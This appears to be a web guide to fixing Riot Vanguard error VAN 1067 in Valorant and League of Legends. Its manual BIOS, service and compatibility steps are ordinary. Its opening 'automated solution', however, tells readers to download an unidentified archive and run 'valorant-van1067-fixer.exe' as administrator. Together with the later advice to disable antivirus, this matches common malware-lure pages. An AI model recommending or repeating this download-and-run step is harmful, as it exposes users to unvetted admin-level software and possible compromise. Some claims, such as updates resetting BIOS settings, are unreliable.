How to Fix Vanguard Error VAN 1067 in Valorant and LoL

Quick Fix

Most players resolve the Vanguard error VAN 1067 by enabling TPM 2.0 and Secure Boot in their BIOS/UEFI settings.

If you want the fastest solution without manually tweaking BIOS, use the automated fix below first.

Automated Solution (Recommended First Step)

We created a simple program that automatically checks and fixes the most common causes of VAN 1067 (VGC service settings, compatibility flags, and driver conflicts).

How to use the fixer:

1. Click the button above to download the archive.
2. Go to “Downloads” folder ➔ Right-click on archive ➔ Click “Extract all” ➔ Click “OK”.
3. Go to “valorant-van1067-fixer” folder.
4. Right-click on valorant-van1067-fixer.exe ➔ Click “Run as administrator”.
5. Wait until this message appears in the console.

The fix has been successfully completed!

If the error persists after this, follow the full manual guide below.

What Causes Vanguard Error VAN 1067?

The VAN 1067 error is triggered by Riot Vanguard’s anti-cheat system when it detects incompatibility with your system’s security configuration.

This issue became very common after Windows 11 updates and is frequently reported in both Valorant and League of Legends. The main culprits are:

• TPM 2.0 and Secure Boot disabled in BIOS
• VGC service not running properly
• Outdated or conflicting drivers
• Windows security features blocking Vanguard

Step-by-Step Guide to Fix VAN 1067 Error

Step 1: Enable TPM 2.0 and Secure Boot in BIOS

This is the most effective permanent fix for vanguard error van 1067.

1. Restart your PC and press the BIOS key repeatedly during boot:

   • Dell → F2
   • HP → F10
   • ASUS → F2 or Delete
   • MSI → Delete
   • Lenovo → F1 or F2

2. Navigate to the Security or Advanced tab

3. Find and enable TPM 2.0 (sometimes called PTT on Intel or fTPM on AMD)

4. Enable Secure Boot

5. Save changes (usually F10) and exit

After rebooting, launch Valorant or League of Legends again.

Step 2: Restart and Configure VGC Service

1. Press Win + R, type services.msc and press Enter
2. Find VGC in the list
3. Right-click → Properties
4. Set Startup type to Automatic
5. Click Start (if it’s stopped)
6. Click Apply → OK

Step 3: Run Riot Client in Compatibility Mode

1. Right-click on Riot Client or the game executable
2. Select Properties → Compatibility tab
3. Check “Run this program as an administrator”
4. Check “Disable fullscreen optimizations”
5. Apply and try launching the game

Step 4: Additional Fixes (If Needed)

• Update your graphics drivers (NVIDIA/AMD)
• Temporarily disable third-party antivirus during launch
• Perform a clean boot to identify conflicting software
• Reinstall Vanguard through the Riot Client

Fixing VAN 1067 in League of Legends vs Valorant

The error behaves similarly in both games because it stems from the shared Vanguard anti-cheat. However, Valorant players tend to see it more often due to stricter kernel-level requirements. The solutions above work for both van 1067 league of legends and van 1067 valorant.

Frequently Asked Questions

Why do I get VAN 1067 error after a Windows update?
Windows updates often reset BIOS security settings or change service behaviors.

Does this error occur on Windows 10?
Yes, though it’s less common than on Windows 11. Enabling the required security features usually resolves it.

Is there a risk in enabling TPM 2.0 and Secure Boot?
No. These are standard security features that modern games and Windows 11 require.